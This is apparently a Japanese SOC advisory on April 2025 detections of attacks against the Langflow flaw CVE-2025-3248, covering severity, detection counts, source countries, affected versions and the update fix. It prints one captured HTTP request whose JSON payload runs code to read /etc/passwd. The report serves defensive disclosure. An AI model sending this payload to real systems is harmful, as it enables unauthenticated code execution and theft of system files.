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最新情報

2025.05.16

2025年4月度 MBSD-SOCの検知傾向トピックス

著者:MBSD-SOC

Langflowの脆弱性(CVE-2025-3248)を狙った攻撃

 今月は、Langflowの脆弱性(CVE-2025-3248)を狙った攻撃を観測しました。Langflowは、LLMアプリを視覚的に構築・実行できるLangChainベースのノーコード開発ツールです。本脆弱性は、4/8(火)に公開されたもので、攻撃者に悪用された場合、認証なしで任意のコードを実行されてしまう恐れがあります。

 本脆弱性のCVSS値(脆弱性の深刻度)は、9.8(Critical)と評価とされており、深刻な脆弱性に位置づけられています。既にPoC(概念実証コード)が公開されており悪用事例も報告されているため、当該製品を使用されている場合は、早急に最新のバージョンにアップデートすることをお勧めします。

 下図は、本脆弱性を狙った攻撃の検知数推移です。弊社SOCでは4/10(木)に初観測しております。

図. Langflowの脆弱性(CVE-2025-3248)を狙った攻撃
image.png

 以下は、弊社SOCで検知した攻撃例です。APIエンドポイント「/api/v1/validate/code」に対して細工したリクエストを指定することで任意のコード実行(以下の攻撃例では「/etc/passwd」の取得)を試みた通信となっています。

図. Langflowの脆弱性(CVE-2025-3248)を狙った攻撃例

POST /api/v1/validate/code HTTP/1.1
Host: www.example.co.jp
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Content-Length: 125
Content-Type: application/json
Accept-Encoding: gzip

{"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"cat\", \"/etc/passwd\"]))')\ndef foo():\n  pass"}

 下表は、本脆弱性を狙った攻撃元国です。オランダ、フランスからの攻撃が半数を占めております。

. Langflowの脆弱性(CVE-2025-3248)を狙った攻撃元国 上位5件
# 2025年4月
1 オランダ 30.0 %
2 フランス 24.2 %
3 ドイツ 10.1 %
4 アメリカ 8.4 %
5 ポーランド 7.6 %

影響対象

  • Langflow 1.3.0未満

対策方法

最新のバージョンにアップデートしてください。

参考情報

マネージドサービス事業部
MBSD-SOC
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